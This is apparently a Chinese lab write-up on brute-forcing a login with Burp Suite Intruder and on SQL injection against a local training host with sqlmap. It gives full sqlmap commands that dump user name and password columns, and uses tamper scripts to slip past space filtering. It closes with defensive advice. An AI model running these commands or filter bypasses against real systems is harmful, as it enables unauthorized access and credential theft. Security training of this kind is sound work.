2018-08-08 Web暴力破解及SQL注入
SQL注入漏洞概述:所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
Burpsuite。Burp Suite 是用于攻击web 应用程序的集成平台,包含了许多工具。Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报。
Sqlmap。Sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。
web暴力破解实现过程:
1、首先对选定页面进行登录,然后将burpsuite拦截到的数据发送到Intrder模块
2、选择爆破模式,burpsuite有四种模式。Sniper 单参数爆破,多参数时同一个字典按顺序替换各参数,总之初始值有一个参数不变;Battering ram 多参数同时爆破,但用的是同一个字典;Pichfork 多参数同时爆破,但用的是不同的字典;Cluster bamb 多参数做笛卡尔乘积模式爆破。
3、选定爆破模式后,设定参数变量,选中要设置为爆破参数的变量,然后点击add。
选定参数4、然后点击payloads,分别设置每个参数的攻击载荷。
设置攻击载荷5、点击start attack,开始爆破,爆破成功的数据包会比错误的数据包的length要长。
爆破界面Sql注入实现过程。
一:example1注入
example1没有开启任何防护,使用sqlmap直接注入就行。
1、sqlmap -u "192.168.78.131/sqli/example1.php?name=root" --dbs 报数据库
2、sqlmap -u "192.168.78.131/sqli/example1.php?name=root" -D exercises --tables 爆表
3、-u "192.168.78.131/sqli/example1.php?name=root" -D exercises -T users --columns 爆字段
4、-u "192.168.78.131/sqli/example1.php?name=root" -D exercises -T users -C name,passwd --dump 爆出相应字段的值。
二:example2注入
手工注入试了一下,错误提示,NO ERROR SPACE,应该是对空格进行了过滤,使用space2morehash.py脚本绕过网站的过滤,进行注入。
1、sqlmap -u "192.168.78.131/sqli/example2.php?name=root" -v 3 --dbs --batch --tamper "space2morehash.py" 爆数据库
2、sqlmap -u "192.168.78.131/sqli/example2.php?name=root" -v 3 -D exercises --tables --batch --tamper "space2morehash.py" 爆数据表
3、sqlmap -u "192.168.78.131/sqli/example2.php?name=root" -v 3 -D exercises -T users --columns --batch --tamper "space2morehash.py" 爆字段名
4、sqlmap -u "192.168.78.131/sqli/example2.php?name=root" -v 3 -D exercises -T users -C name,passwd --dump --batch --tamper "space2morehash.py" 爆相应字段的值
三:example3注入
Space2morehash的脚本不能绕过过滤,试了试确定过滤参数,发现输入+号时,错误提示也是NO ERROR SAPCE,想到应该是把space2plus脚本的替换结果也当做了空格过滤,就尝试了其他替换空格的脚本,发现space2comment脚本可以绕过过滤,就采用这个脚本进行注入。
1、sqlmap -u "192.168.78.131/sqli/example3.php?name=root" --dbs --batch -v 3 --tamper "space2comment.py" 爆库
2、sqlmap -u "192.168.78.131/sqli/example3.php?name=root" -D exercises --tables --batch -v 3 --tamper "space2comment.py" 爆数据表
3、sqlmap -u "192.168.78.131/sqli/example3.php?name=root" -D exercises -T users --columns --batch -v 3 --tamper "space2comment.py" 爆字段名
4、sqlmap -u "192.168.78.131/sqli/example3.php?name=root" -D exercises -T users -C name,passwd --dump --batch -v 3 --tamper "space2comment.py" 爆字段值。
SQL注入漏洞防护措施
1、开发过程中,注意安全细节,如尽量使用PrepareStatement代替Statement,数据库访问权限不要使用SA用户,不要将异常抛出在客户端页面,安装网站的时候删除bak文件避免文件资料泄露
2、采用waf安全机制,过滤掉;空格一类的sql注入常用字符及相应脚本的转换结果
3、对用户信息在数据库中进行加密
4、网站管理员定期更换密码,随时关注网站安全情况,发现可疑情况,立即采取响应措施
5、限制表单数据输入和查询字符串输入的长度
6、设置web目录访问权限
7、Web服务器以最小权限进行配置,只提供web服务
8、用户权限分离,不同的用户只能对授权给自己的数据库执行数据库操作